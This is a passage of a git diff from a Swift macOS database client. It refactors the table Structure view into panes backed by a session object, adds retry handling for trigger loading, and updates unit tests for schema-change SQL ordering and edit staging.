-                    .accessibilityLabel(String(localized: "Comment"))
-                    .accessibilityIdentifier("structure-table-comment")
-            }
-            .padding()
-            .paneBarBackground()
-
-            Divider()
-        }
-    }
-
-    func loadTableComment() async {
-        guard offersTableComment else { return }
-        session.beginTableCommentLoad()
-        let outcome: MetadataFetchOutcome<String?>
-        do {
-            outcome = .fetched(try await structureLoader.tableComment())
-        } catch {
-            switch StructureFetchFailure(error, taskIsCancelled: Task.isCancelled) {
-            case .cancelled:
-                outcome = .cancelled
-            case .failed(let message):
-                Self.logger.error("Failed to load the table comment: \(error.publicLogShape, privacy: .public)")
-                outcome = .failed(message)
-            }
-        }
-        session.settleTableComment(outcome)
-    }
-
-    /// A comment changed elsewhere refetches columns identical to the ones loaded, so the columns'
-    /// own handler never fires and the baseline has to move here.
-    func onTableCommentChanged() {
-        rebaselineUnlessEdited()
-    }
-}
diff --git a/apple/TablePro/Views/Structure/TableStructureView+TableOptions.swift b/apple/TablePro/Views/Structure/TableStructureView+TableOptions.swift
deleted file mode 100644
index c79144bf01..0000000000
--- a/apple/TablePro/Views/Structure/TableStructureView+TableOptions.swift
+++ /dev/null
@@ -1,46 +0,0 @@
-//
-//  TableStructureView+TableOptions.swift
-//  TablePro
-//
-
-import SwiftUI
-
-internal extension TableStructureView {
-    var tableOptionsView: some View {
-        TableOptionsView(
-            session: session,
-            changeManager: structureChangeManager,
-            isReadOnly: toolbarState.safeModeLevel.blocksAllWrites || isSessionBound,
-            autoIncrementMaximum: autoIncrementMaximum,
-            onRetry: { Task { await session.readTableOptions() } },
-            onRetryCatalog: { Task { await session.readTableOptionsCatalog() } }
-        )
-        .task { await session.readTableOptionsCatalog() }
-    }
-
-    // The draft's column, not the loaded one: the counter is set after the column work in the same save.
-    private var autoIncrementMaximum: UInt64? {
-        let columns = structureChangeManager.workingColumns
-        let index = columns.indices.first { index in
-            columns[index].autoIncrement
-                && !structureChangeManager.deleteInsertState(for: index, tab: .columns).isDeleted
-        }
-        return index.map { AutoIncrementEntry.maximum(for: columns[$0]) }
-    }
-
-    func loadTableOptionsCatalogIfNeeded() async {
-        guard session.needsTableOptionsCatalog else { return }
-        await session.readTableOptionsCatalog()
-    }
-
-    // Like the comment: options changed elsewhere refetch columns identical to the loaded ones.
-    func onTableOptionsChanged() {
-        rebaselineUnlessEdited()
-    }
-
-    // A retried read can return the options already loaded, which moves only this.
-    func onAutoIncrementReadChanged(_ read: AutoIncrementReadState) {
-        guard read == .confirmed else { return }
-        rebaselineUnlessEdited()
-    }
-}
diff --git a/apple/TablePro/Views/Structure/TableStructureView.swift b/apple/TablePro/Views/Structure/TableStructureView.swift
index c169d8763e..3ca0325335 100644
--- a/apple/TablePro/Views/Structure/TableStructureView.swift
+++ b/apple/TablePro/Views/Structure/TableStructureView.swift
@@ -3,252 +3,61 @@
 //  TablePro
 //
 
-import AppKit
-import Combine
-import os
 import SwiftUI
-import TableProPluginKit
-import UniformTypeIdentifiers
 
+// The Structure view of a table tab: Definition, Triggers, DDL and, on ClickHouse, Parts. It draws the session and
+// hands it the window's state; loading, staging and saving live in the session.
 struct TableStructureView: View {
-    static let logger = Logger(subsystem: "com.TablePro", category: "TableStructureView")
-    static let structurePasteboardType = NSPasteboard.PasteboardType("com.TablePro.structure")
-    static let structureSourceTypePasteboardType = NSPasteboard.PasteboardType("com.TablePro.structure.database-type")
-
-    static var canPasteStructureRows: Bool {
-        NSPasteboard.general.data(forType: structurePasteboardType) != nil
-    }
-    let tableName: String
-    let connection: DatabaseConnection
-    let databaseName: String
-    let schemaName: String?
-
+    @ObservedObject var session: StructureEditingSession
     @ObservedObject var toolbarState: ConnectionToolbarState
     let coordinator: MainContentCoordinator?
 
-    @Environment(\.appServices) var services
-
-    var scope: DatabaseScope {
-        DatabaseScope(
-            connectionId: connection.id, database: databaseName, schema: schemaName, isSessionBound: isSessionBound
-        )
-    }
-
-    var isSessionBound: Bool { session.isSessionBound }
-
-    var structureLoader: TableStructureLoader {
-        TableStructureLoader(scope: scope, tableName: tableName)
-    }
-
-    @ObservedObject var session: StructureEditingSession
-
-    var objectKind: TableInfo.TableType { session.objectKind }
-
-    var selectedTab: StructureTab {
-        get { session.selectedTab }
-        nonmutating set { session.selectedTab = newValue }
-    }
-
-    var searchText: String {
-        get { session.searchText }
-        nonmutating set { session.searchText = newValue }
-    }
-
-    var sortState: SortState {
-        get { session.sortState }
-        nonmutating set { session.sortState = newValue }
-    }
-
-    var structureSortDescriptor: StructureSortDescriptor? {
-        get { session.sortDescriptor }
-        nonmutating set { session.sortDescriptor = newValue }
-    }
-
-    var isReloadingAfterSave: Bool {
-        get { session.isApplying }
-        nonmutating set { session.isApplying = newValue }
-    }
-
-    var lastSaveTime: Date? {
-        get { session.lastAppliedAt }
-        nonmutating set { session.lastAppliedAt = newValue }
-    }
-
-    var gridAdapter: StructureGridAdapter { session.gridAdapter }
-
-    var columns: [ColumnInfo] {
-        get { session.columns }
-        nonmutating set { session.columns = newValue }
-    }
-
-    var indexes: [IndexInfo] {
-        get { session.indexes }
-        nonmutating set { session.indexes = newValue }
-    }
-
-    var foreignKeys: [ForeignKeyInfo] {
-        get { session.foreignKeys }
-        nonmutating set { session.foreignKeys = newValue }
-    }
-
-    var checkConstraints: [CheckConstraintInfo] {
-        get { session.checkConstraints }
-        nonmutating set { session.checkConstraints = newValue }
-    }
-
-    var triggers: [TriggerInfo] {
-        get { session.triggers }
-        nonmutating set { session.triggers = newValue }
-    }
-
-    var ddlStatement: String {
-        get { session.ddlStatement }
-        nonmutating set { session.ddlStatement = newValue }
-    }
-
-    var tabData: StructureTabDataState {
-        get { session.tabData }
-        nonmutating set { session.tabData = newValue }
-    }
-
-    // Observed on its own: a change inside it fires its publisher, never the session's.
-    @ObservedObject var structureChangeManager: StructureChangeManager
-
-    @AppStorage("structureCodeFontSize", store: AppStorageEnvironment.shared.defaults) var ddlFontSize: Double = 13
-    @State var showCopyConfirmation = false
-    @State var copyResetTask: Task<Void, Never>?
-    @State var isLoading = true
-    @State var isInitialLoading = true
-    @State var errorMessage: String?
-    @State var partsReloadToken = 0
-    @AppStorage("skipSchemaPreview", store: AppStorageEnvironment.shared.defaults) var skipSchemaPreview = false
-
-    @State var actionHandler = StructureViewActionHandler()
-    @FocusState var isTableCommentFocused: Bool
-
-    init(
-        tableName: String,
-        connection: DatabaseConnection,
-        databaseName: String,
-        schemaName: String?,
-        toolbarState: ConnectionToolbarState,
-        coordinator: MainContentCoordinator?,
-        session: StructureEditingSession
-    ) {
-        self.tableName = tableName
-        self.connection = connection
-        self.databaseName = databaseName
-        self.schemaName = schemaName
-        self.toolbarState = toolbarState
-        self.coordinator = coordinator
-        self.session = session
-        self.structureChangeManager = session.changeManager
-    }
-
     var body: some View {
         VStack(spacing: 0) {
-            tableCommentBar
-            tabBar
+            paneBar
             Divider()
-            contentArea
+            paneContent
                 .frame(maxWidth: .infinity, maxHeight: .infinity)
         }
-        .task(loadInitialData)
-        .onReceive(session.gridModel.$selectionRevision) { _ in
-            publishFooterCapability()
-        }
-        .onChange(of: selectedTab) { newValue in
-            onSelectedTabChanged(newValue)
-            publishFooterCapability()
-        }
-        .onChange(of: columns) { _ in onColumnsChanged() }
-        .onChange(of: indexes) { _ in onIndexesChanged() }
-        .onChange(of: foreignKeys) { _ in onForeignKeysChanged() }
-        .onChange(of: checkConstraints) { _ in onCheckConstraintsChanged() }
-        .onChange(of: session.tableComment) { _ in onTableCommentChanged() }
-        .onChange(of: session.tableOptions) { _ in onTableOptionsChanged() }
-        .onChange(of: session.autoIncrementRead) { read in onAutoIncrementReadChanged(read) }
-        .onChange(of: session.tableOptionsCatalog) { _ in gridAdapter.characterSetCatalogDidChange() }
-        .onChange(of: isTableCommentFocused) { isFocused in
-            if !isFocused { structureChangeManager.endTableCommentRun() }
+        .task { await session.load() }
+        .onChange(of: session.pane) { pane in
+            Task { await session.loadPaneIfNeeded(pane) }
         }
-        .onChange(of: searchText) { _ in gridAdapter.refresh() }
-        .onChange(of: session.serverSupport) { _ in gridAdapter.refresh() }
         .onAppear {
-            coordinator?.toolbarState.hasStructureChanges = structureChangeManager.hasChanges
-            coordinator?.inspectorRowSource = gridAdapter
-
-            gridAdapter.coordinator = coordinator
-            gridAdapter.moveRowHandler = { [self] fromIndex, toIndex in
-                beginColumnReorder(fromIndex: fromIndex, toIndex: toIndex)
-            }
-            gridAdapter.refresh()
-
-            actionHandler.previewSQL = { self.generateStructurePreviewSQL() }
-            actionHandler.copyRows = { self.gridAdapter.copyRows(self.session.gridModel.selectedRowIDs) }
-            actionHandler.pasteRows = { self.gridAdapter.pasteRows() }
-            actionHandler.undo = { self.gridAdapter.undo() }
-            actionHandler.redo = { self.gridAdapter.redo() }
-            actionHandler.addRow = { self.gridAdapter.addRow() }
-            actionHandler.removeRow = { self.gridAdapter.deleteRows(self.session.gridModel.selectedRowIDs) }
-            actionHandler.refresh = { self.onRefreshData() }
-            coordinator?.structureActions = actionHandler
-            publishFooterCapability()
-        }
-        .onDisappear {
-            structureChangeManager.endTableCommentRun()
-            // Guarded by identity: SwiftUI does not order the outgoing view's onDisappear before the
-            // incoming one's onAppear, so an unguarded clear can nil the wiring another tab installed.
-            if coordinator?.structureActions === actionHandler {
-                coordinator?.structureActions = nil
-                coordinator?.toolbarState.hasStructureChanges = false
-            }
-            if coordinator?.inspectorRowSource === gridAdapter {
-                coordinator?.inspectorRowSource = nil
-            }
+            session.coordinator = coordinator
+            syncReadOnly()
         }
-        .onChange(of: structureChangeManager.hasChanges) { newValue in
-            coordinator?.toolbarState.hasStructureChanges = newValue
-            gridAdapter.refresh()
-            if !newValue, session.settleOwedRefetch() {
-                Task { await loadInitialData() }
+        .onChange(of: session.hasChanges) { hasChanges in
+            if !hasChanges, session.settleOwedRefetch() {
+                Task { await session.load() }
             }
         }
-        .onChange(of: structureChangeManager.isHeldForSave) { _ in
-            publishFooterCapability()
-            gridAdapter.refresh()
-        }
-        .onChange(of: session.appliedVersion) { _ in
-            Task { await refreshAfterApply() }
-        }
-        // A mutation that leaves hasChanges as it was, such as a second added row, moves only this.
-        .onChange(of: structureChangeManager.reloadVersion) { _ in
-            gridAdapter.refresh()
-        }
+        .onChange(of: toolbarState.safeModeLevel) { _ in syncReadOnly() }
     }
 
-    // MARK: - Tabs
-
-    private var availableTabs: [StructureTab] {
-        session.availableTabs
+    private func syncReadOnly() {
+        let blocksWrites = toolbarState.safeModeLevel.blocksAllWrites
+        session.editor.readOnlyReason = blocksWrites
+            ? String(localized: "Safe Mode is read-only for this connection.")
+            : nil
+        session.editor.isReadOnly = blocksWrites
     }
 
-    private var tabBar: some View {
+    private var paneBar: some View {
         PaneTabBar(
             title: String(localized: "Structure"),
-            selection: $session.selectedTab.committingEdit(of: session.gridModel),
+            selection: $session.pane,
             identifier: "structure-tab-picker"
         ) {
-            ForEach(availableTabs, id: \.self) { tab in
-                Text(tabLabel(for: tab)).tag(tab)
+            ForEach(session.availablePanes, id: \.self) { pane in
+                Text(pane.displayName).tag(pane)
             }
         }
-        .monospacedDigit()
         .overlay(alignment: .trailing) {
-            if structureChangeManager.isHeldForSave {
+            if session.changeManager.isHeldForSave {
                 HStack(spacing: 6) {
                     ProgressView().controlSize(.small)
-                    Text("Saving Changes…")
+                    Text(String(localized: "Saving Changes…"))
                         .font(.callout)
                         .foregroundStyle(.secondary)
                 }
@@ -259,182 +68,67 @@ struct TableStructureView: View {
         }
     }
 
-    // MARK: - Tab Label with Count Badge
-
-    private func tabLabel(for tab: StructureTab) -> String {
-        StructureTabDataState.label(for: tab, count: loadedCount(for: tab))
-    }
-
-    private func loadedCount(for tab: StructureTab) -> Int? {
-        guard tabData.hasData(tab) else { return nil }
-        switch tab {
-        case .columns: return columns.count
-        case .indexes: return indexes.count
-        case .foreignKeys: return foreignKeys.count
-        case .triggers: return triggers.count
-        case .checkConstraints: return checkConstraints.count
-        case .options, .ddl, .parts: return nil
-        }
-    }
-
-    // MARK: - Content Area
-
-    @ViewBuilder
-    private var contentArea: some View {
-        if let error = errorMessage {
-            errorView(error)
-                .gridStandInBackground()
-        } else {
-            tabContent
-        }
-    }
-
     @ViewBuilder
-    private var tabContent: some View {
-        switch selectedTab {
-        case .columns:
-            structureGrid
-        case .indexes:
-            Group {
-                if shouldShowIndexesEmptyState {
-                    EmptyStateView.indexes { gridAdapter.addRow() }
-                        .gridStandInBackground()
-                } else {
-                    structureGrid
-                }
-            }
-            .safeAreaInset(edge: .bottom, spacing: 0) {
-                indexesTabNotes
-            }
-        case .foreignKeys:
-            if shouldShowForeignKeysEmptyState {
-                EmptyStateView.foreignKeys { gridAdapter.addRow() }
-                    .gridStandInBackground()
-            } else {
-                structureGrid
-            }
-        case .checkConstraints:
-            if shouldShowCheckConstraintsEmptyState {
-                EmptyStateView.checkConstraints { gridAdapter.addRow() }
-                    .gridStandInBackground()
-            } else {
-                structureGrid
-            }
+    private var paneContent: some View {
+        switch session.pane {
+        case .definition:
+            StructureDefinitionPage(
+                editor: session.editor,
+                loadState: session.loadState,
+                isLoading: session.isLoadingFirstTime,
+                notes: [.indexes: indexNotes],
+                onRetry: { session.retry(StructureLoadState.Item($0)) }
+            )
         case .triggers:
             TriggerDetailView(
-                triggers: triggers,
-                scope: scope,
-                connection: connection,
-                tableName: tableName,
-                isLoading: !tabData.hasData(.triggers),
-                canEdit: editGate.allowsTriggerEditing,
+                triggers: session.triggers,
+                scope: session.scope,
+                connection: session.connection,
+                tableName: session.tableName,
+                isLoading: !session.loadState.hasData(.triggers),
+                failure: session.loadState.failure(.triggers),
+                onRetry: { session.retry(.triggers) },
+                canEdit: session.editor.context.editGate.allowsTriggerEditing,
                 onOpenInEditor: openTriggerInEditor
             )
-        case .options:
-            tableOptionsView
         case .ddl:
-            ddlView
+            StructureDDLPane(
+                ddl: session.ddlStatement,
+                tableName: session.tableName,
+                databaseType: session.connection.type,
+                failure: session.loadState.failure(.ddl),
+                isLoading: !session.loadState.hasData(.ddl),
+                coordinator: coordinator,
+                onRetry: { session.retry(.ddl) }
+            )
         case .parts:
             ClickHousePartsView(
-                tableName: tableName,
-                scope: scope,
-                connection: connection,
-                reloadToken: partsReloadToken
+                tableName: session.tableName,
+                scope: session.scope,
+                connection: session.connection,
+                reloadToken: session.partsReloadToken
             )
         }
     }
 
-    private var indexesTabNotes: some View {
-        VStack(spacing: 0) {
-            if let note = InvalidIndexNote(indexes: indexes) {
-                StructureTabNoteView(
-                    systemImage: note.systemImage,
-                    text: note.text,
-                    identifier: "structure-invalid-index-note"
-                )
-            }
-            if objectKind == .materializedView,
-               let note = MaterializedViewConcurrentRefreshNote(state: session.concurrentRefresh) {
-                StructureTabNoteView(
-                    systemImage: note.systemImage,
-                    text: note.text,
-                    identifier: "structure-concurrent-refresh-note"
-                )
-            }
+    private var indexNotes: [StructureSectionNote] {
+        var notes: [StructureSectionNote] = []
+        if let note = InvalidIndexNote(indexes: session.indexes) {
+            notes.append(StructureSectionNote(
+                systemImage: note.systemImage, text: note.text, identifier: "structure-invalid-index-note"
+            ))
         }
-    }
-
-    private var shouldShowIndexesEmptyState: Bool {
-        tabData.hasData(.indexes)
-            && structureChangeManager.workingIndexes.isEmpty
-            && editGate.allows(.addIndex)
-    }
-
-    private var shouldShowForeignKeysEmptyState: Bool {
-        tabData.hasData(.foreignKeys)
-            && structureChangeManager.workingForeignKeys.isEmpty
-            && connection.type.supportsForeignKeys
-            && editGate.allows(.addForeignKey)
-    }
-
-    private var shouldShowCheckConstraintsEmptyState: Bool {
-        tabData.hasData(.checkConstraints)
-            && structureChangeManager.workingCheckConstraints.isEmpty
-            && editGate.allows(.addCheckConstraint)
-    }
-
-    // MARK: - Structure Grid
-
-    private var structureGrid: some View {
-        DataGridView(model: session.gridModel)
-            .safeAreaInset(edge: .top, spacing: 0) {
-                VStack(spacing: 0) {
-                    NativeSearchField(text: $session.searchText, placeholder: String(localized: "Filter"))
-                        .padding(.horizontal, 6)
-                        .padding(.vertical, 4)
-                    Divider()
-                }
-            }
-    }
-
-    // MARK: - Helper Views
-
-    func errorView(_ message: String) -> some View {
-        VStack(spacing: 8) {
-            Image(systemName: "exclamationmark.triangle")
-                .font(.largeTitle)
-                .foregroundStyle(.orange)
-                .accessibilityHidden(true)
-            RevealedTextView(message)
-                .foregroundStyle(.secondary)
+        if session.objectKind == .materializedView,
+           let note = MaterializedViewConcurrentRefreshNote(state: session.concurrentRefresh) {
+            notes.append(StructureSectionNote(
+                systemImage: note.systemImage, text: note.text, identifier: "structure-concurrent-refresh-note"
+            ))
         }
-        .frame(maxWidth: .infinity, maxHeight: .infinity)
+        return notes
     }
-}
 
-#Preview {
-    let connection = DatabaseConnection(
-        name: "Test",
-        host: "localhost",
-        port: 3_306,
-        database: "test",
-        username: "root",
-        type: .mysql
-    )
-    return TableStructureView(
-        tableName: "users",
-        connection: connection,
-        databaseName: "test",
-        schemaName: nil,
-        toolbarState: ConnectionToolbarState(),
-        coordinator: nil,
-        session: StructureEditingSession(
-            identity: "test.users",
-            connection: connection,
-            databaseName: "test",
-            schemaName: nil,
-            tableName: "users"
-        )
-    )
-    .frame(width: 800, height: 600)
+    private func openTriggerInEditor(_ trigger: TriggerInfo) {
+        guard !trigger.statement.isEmpty else { return }
+        coordinator?.tabManager.addTab(initialQuery: trigger.statement, title: trigger.name)
+    }
 }
diff --git a/apple/TablePro/Views/Structure/TriggerDetailView.swift b/apple/TablePro/Views/Structure/TriggerDetailView.swift
index 7820902422..fb869f481a 100644
--- a/apple/TablePro/Views/Structure/TriggerDetailView.swift
+++ b/apple/TablePro/Views/Structure/TriggerDetailView.swift
@@ -108,6 +108,8 @@ struct TriggerDetailView: View {
     let connection: DatabaseConnection
     let tableName: String
     let isLoading: Bool
+    var failure: String?
+    var onRetry: () -> Void = {}
     let canEdit: Bool
     let onOpenInEditor: (TriggerInfo) -> Void
 
@@ -117,7 +119,17 @@ struct TriggerDetailView: View {
     @State private var actionError: String?
 
     var body: some View {
-        if isLoading {
+        if let failure, triggers.isEmpty {
+            UnavailableStateView {
+                Label(String(localized: "Couldn't Read the Triggers"), systemImage: "exclamationmark.triangle")
+            } description: {
+                Text(failure)
+            } actions: {
+                Button(String(localized: "Try Again"), action: onRetry)
+            }
+            .frame(maxWidth: .infinity, maxHeight: .infinity)
+            .gridStandInBackground()
+        } else if isLoading {
             ProgressView()
                 .frame(maxWidth: .infinity, maxHeight: .infinity)
                 .gridStandInBackground()
@@ -279,7 +291,7 @@ internal struct TriggerListPane: View {
     @ObservedObject internal var state: TriggerInspectorState
 
     @StateObject private var grid = StructureListGridModel<TriggerInfo.ID>(
-        accessibilityLabel: StructureTab.triggers.displayName
+        accessibilityLabel: StructurePane.triggers.displayName
     )
 
     private var showsEnabled: Bool { triggers.contains { $0.enabled != nil } }
diff --git a/apple/TableProTests/Core/Database/TriggerInfoMappingTests.swift b/apple/TableProTests/Core/Database/TriggerInfoMappingTests.swift
index 7aeb16248d..c47fc806ea 100644
--- a/apple/TableProTests/Core/Database/TriggerInfoMappingTests.swift
+++ b/apple/TableProTests/Core/Database/TriggerInfoMappingTests.swift
@@ -100,15 +100,15 @@ struct TriggerInfoMappingTests {
     }
 }
 
-struct StructureTabTriggersTests {
-    @Test("Triggers tab is part of the canonical tab set")
+struct StructurePaneTriggersTests {
+    @Test("Triggers is one of the Structure view's panes")
     func triggersInAllCases() {
-        #expect(StructureTab.allCases.contains(.triggers))
+        #expect(StructurePane.allCases.contains(.triggers))
     }
 
-    @Test("Triggers tab has a localized display name")
+    @Test("The Triggers pane has a localized display name")
     func triggersDisplayName() {
-        #expect(StructureTab.triggers.displayName == "Triggers")
+        #expect(StructurePane.triggers.displayName == "Triggers")
     }
 }
 
@@ -221,13 +221,8 @@ struct TriggerApplyExecutionTests {
         #expect(stub.executedQueries == ["DROP TRIGGER t", "CREATE TRIGGER t", "RESTORE t"])
     }
 
-    /// The session driver holds whatever transaction a query tab left open, so a trigger edit
-    /// with a BEGIN of its own ran inside it and committed or rolled back the tab's work.
-    ///
-    /// The gate is supplied rather than taken from `ExecutionGateProvider`. A drop is a
-    /// `.destructiveQuery`, which the real gate confirms with an `NSAlert`, and an alert raised
-    /// with no window runs application-modal: on a CI runner nobody answers it, so the whole
-    /// unit job stops there and is killed by its timeout rather than failing.
+    // A trigger edit's own BEGIN ran inside the transaction a query tab left open on the session driver.
+    // The gate is injected: the real one confirms a drop with an NSAlert nobody answers on CI.
     @Test("Apply and drop run on the pooled connection and leave the session driver alone")
     func applyAndDropRunOnThePooledConnection() async throws {
         let connection = TestFixtures.makeConnection(database: "app", type: .postgresql)
@@ -241,12 +236,7 @@ struct TriggerApplyExecutionTests {
         let scope = DatabaseScope(connectionId: connection.id, database: "app", schema: "public")
         let pooledStub = StubTriggerDriver()
         pooledStub.transactionalDDL = true
-        /// The drop statement is built on the driver that will run it, because an engine that
-        /// qualifies its DDL with the connection's current database would otherwise write the
-        /// session's database into a statement the pooled connection runs somewhere else. Both
-        /// stubs can produce it, so the assertions below are what say which one was asked: a
-        /// regression back to the session driver shows up as a query it executed rather than as a
-        /// statement nobody could generate.
+        // Both stubs build the drop, so only the queries each one executed show which driver was asked.
         pooledStub.dropToReturn = "DROP TRIGGER t"
         let pooledAdapter = PluginDriverAdapter(connection: connection, pluginDriver: pooledStub)
         try await pooledAdapter.connect()
diff --git a/apple/TableProTests/Core/SchemaTracking/CreateTableCommentCompositionTests.swift b/apple/TableProTests/Core/SchemaTracking/CreateTableCommentCompositionTests.swift
index 48c482d890..cc0b03a075 100644
--- a/apple/TableProTests/Core/SchemaTracking/CreateTableCommentCompositionTests.swift
+++ b/apple/TableProTests/Core/SchemaTracking/CreateTableCommentCompositionTests.swift
@@ -88,7 +88,7 @@ struct CreateTableCommentCompositionTests {
         )
 
         #expect(composed.issues.map(\.message) == ["This database cannot store a table comment."])
-        #expect(composed.issues.first?.tab == .columns)
+        #expect(composed.issues.first?.section == .columns)
     }
 
     @Test("Every statement the driver creates the table with arrives in order, ahead of the indexes")
diff --git a/apple/TableProTests/Core/SchemaTracking/IndexDecliningDriverTests.swift b/apple/TableProTests/Core/SchemaTracking/IndexDecliningDriverTests.swift
index 552e7e95e6..e55082428c 100644
--- a/apple/TableProTests/Core/SchemaTracking/IndexDecliningDriverTests.swift
+++ b/apple/TableProTests/Core/SchemaTracking/IndexDecliningDriverTests.swift
@@ -67,7 +67,7 @@ struct IndexDecliningDriverTests {
 
         #expect(composed.statements.count == 1)
         #expect(composed.issues.map(\.message) == ["Create Table cannot add an index on this database."])
-        #expect(composed.issues.first?.tab == .indexes)
+        #expect(composed.issues.first?.section == .indexes)
         #expect(composed.issues.first?.row == 0)
     }
 }
diff --git a/apple/TableProTests/Core/SchemaTracking/PrimaryKeyStatementOrderTests.swift b/apple/TableProTests/Core/SchemaTracking/PrimaryKeyStatementOrderTests.swift
new file mode 100644
index 0000000000..d79b454133
--- /dev/null
+++ b/apple/TableProTests/Core/SchemaTracking/PrimaryKeyStatementOrderTests.swift
@@ -0,0 +1,86 @@
+//
+//  PrimaryKeyStatementOrderTests.swift
+//  TableProTests
+//
+
+import Foundation
+@testable import TablePro
+import TableProPluginKit
+import Testing
+
+private final class KeyDDLDriver: PluginDriverStub, @unchecked Sendable {
+    var isConnected: Bool { true }
+    var currentSchema: String? { "public" }
+
+    func ping() async throws {}
+    func execute(query: String) async throws -> PluginQueryResult {
+        PluginQueryResult(columns: [], columnTypeNames: [], rows: [], rowsAffected: 0, executionTime: 0)
+    }
+
+    func generateDropColumnSQL(table: String, columnName: String) -> String? {
+        "ALTER TABLE \(table) DROP COLUMN \(columnName)"
+    }
+
+    func generateAddColumnSQL(table: String, column: PluginColumnDefinition) -> String? {
+        "ALTER TABLE \(table) ADD COLUMN \(column.name)"
+    }
+
+    func generateModifyPrimaryKeySQL(table: String, oldColumns: [String], newColumns: [String], constraintName: String?) -> [String]? {
+        var statements: [String] = []
+        if !oldColumns.isEmpty { statements.append("ALTER TABLE \(table) DROP CONSTRAINT \(constraintName ?? "pk")") }
+        if !newColumns.isEmpty { statements.append("ALTER TABLE \(table) ADD PRIMARY KEY (\(newColumns.joined(separator: ", ")))") }
+        return statements
+    }
+}
+
+struct PrimaryKeyStatementOrderTests {
+    private func column(_ name: String) -> EditableColumnDefinition {
+        EditableColumnDefinition.from(ColumnInfo(name: name, dataType: "INT", isNullable: false, isPrimaryKey: false))
+    }
+
+    // The column's drop takes the key with it, and on MySQL an AUTO_INCREMENT key cannot be dropped ahead of its column.
+    @Test("A key whose every column is dropped is left to the drop, and the new key is added after the columns")
+    func fullyDroppedKeyIsNotDroppedAgain() throws {
+        let statements = try SchemaStatementGenerator(tableName: "orders", pluginDriver: KeyDDLDriver())
+            .generate(changes: [
+                .deleteColumn(column("a")),
+                .addColumn(column("c")),
+                .modifyPrimaryKey(old: ["a"], new: ["b", "c"]),
+            ])
+            .map(\.sql)
+
+        #expect(statements == [
+            "ALTER TABLE orders DROP COLUMN a;",
+            "ALTER TABLE orders ADD COLUMN c;",
+            "ALTER TABLE orders ADD PRIMARY KEY (b, c);",
+        ])
+    }
+
+    @Test("A key that keeps some columns is dropped before a dropped member goes")
+    func partlyDroppedKeyIsDroppedFirst() throws {
+        let statements = try SchemaStatementGenerator(tableName: "orders", pluginDriver: KeyDDLDriver())
+            .generate(changes: [
+                .deleteColumn(column("a")),
+                .modifyPrimaryKey(old: ["a", "b"], new: ["b", "c"]),
+            ])
+            .map(\.sql)
+
+        #expect(statements == [
+            "ALTER TABLE orders DROP CONSTRAINT pk;",
+            "ALTER TABLE orders DROP COLUMN a;",
+            "ALTER TABLE orders ADD PRIMARY KEY (b, c);",
+        ])
+    }
+
+    @Test("A key change that drops no key column stays one change after the columns")
+    func keyChangeWithoutDroppedColumnStaysWhole() throws {
+        let statements = try SchemaStatementGenerator(tableName: "orders", pluginDriver: KeyDDLDriver())
+            .generate(changes: [.modifyPrimaryKey(old: ["a"], new: ["a", "b"])])
+            .map(\.sql)
+
+        #expect(statements == [
+            "ALTER TABLE orders DROP CONSTRAINT pk;",
+            "ALTER TABLE orders ADD PRIMARY KEY (a, b);",
+        ])
+    }
+}
diff --git a/apple/TableProTests/Core/SchemaTracking/SchemaOperationRefusalTests.swift b/apple/TableProTests/Core/SchemaTracking/SchemaOperationRefusalTests.swift
index f92693eab3..22637772ec 100644
--- a/apple/TableProTests/Core/SchemaTracking/SchemaOperationRefusalTests.swift
+++ b/apple/TableProTests/Core/SchemaTracking/SchemaOperationRefusalTests.swift
@@ -334,7 +334,7 @@ struct SchemaOperationRefusalTests {
         let composed = CreateTableStatementComposer.compose(plan: plan, driver: legacyDriver(), schema: nil)
         #expect(composed.statements.isEmpty)
         #expect(composed.issues.map(\.message) == [Self.generatedReason])
-        #expect(composed.issues.first?.tab == .columns)
+        #expect(composed.issues.first?.section == .columns)
     }
 
     @Test("Create Table flags a refused index on its own row and still creates the table")
@@ -351,7 +351,7 @@ struct SchemaOperationRefusalTests {
         let composed = CreateTableStatementComposer.compose(plan: plan, driver: legacyDriver(), schema: nil)
         #expect(composed.statements == ["CREATE TABLE orders (...)", "CREATE INDEX ix_btree ON orders"])
         #expect(composed.issues.count == 1)
-        #expect(composed.issues.first?.tab == .indexes)
+        #expect(composed.issues.first?.section == .indexes)
         #expect(composed.issues.first?.row == 1)
         #expect(composed.issues.first?.message == Self.brinReason)
     }
diff --git a/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerSaveHoldTests.swift b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerSaveHoldTests.swift
index 16ba8d3a07..3560f1f28c 100644
--- a/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerSaveHoldTests.swift
+++ b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerSaveHoldTests.swift
@@ -8,10 +8,8 @@ import Foundation
 import TableProPluginKit
 import Testing
 
-/// A save writes the edits staged when it was pressed and clears them when it lands. Staging stayed
-/// open in between, so on MongoDB, where the save reads every document it changes before writing,
-/// an edit made during that read was left out of the script and then cleared with the edits that
-/// did run.
+// Staging stayed open during a save, so on MongoDB an edit made while the save read the documents was left out
+// of the script and then cleared with the edits that ran.
 @MainActor
 struct StructureChangeManagerSaveHoldTests {
     private func makeManager() -> StructureChangeManager {
@@ -75,7 +73,7 @@ struct StructureChangeManagerSaveHoldTests {
         rename(manager, at: 2, to: "mail")
         manager.deleteColumn(id: manager.workingColumns[2].id)
         manager.performAsOneUndoStep { manager.deleteColumn(id: manager.workingColumns[0].id) }
-        manager.undoDelete(for: .columns, at: 2)
+        manager.undoDelete(section: .columns, id: manager.workingColumns[2].id)
         manager.stageTableComment("Users of the shop")
         manager.undo()
         manager.redo()
@@ -120,8 +118,7 @@ struct StructureChangeManagerSaveHoldTests {
         #expect(manager.getChangesArray().count == 2)
     }
 
-    /// A completion that arrives for a hold that has already ended must not clear what was staged
-    /// after it. Only the hold a save still owns can clear, and only the edits it took.
+    // Only the hold a save still owns can clear, and only the edits it took.
     @Test("An ended hold cannot clear edits staged after it")
     func endedHoldClearsNothing() throws {
         let manager = makeManager()
diff --git a/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerStagingTests.swift b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerStagingTests.swift
new file mode 100644
index 0000000000..257d6dbda8
--- /dev/null
+++ b/apple/TableProTests/Core/SchemaTracking/StructureChangeManagerStagingTests.swift
@@ -0,0 +1,273 @@
+//
+//  StructureChangeManagerStagingTests.swift
+//  TableProTests
+//
+
+import Foundation
+import TableProPluginKit
+import Testing
+@testable import TablePro
+
+@MainActor
+struct StructureChangeManagerStagingTests {
+    private func loadedManager() -> StructureChangeManager {
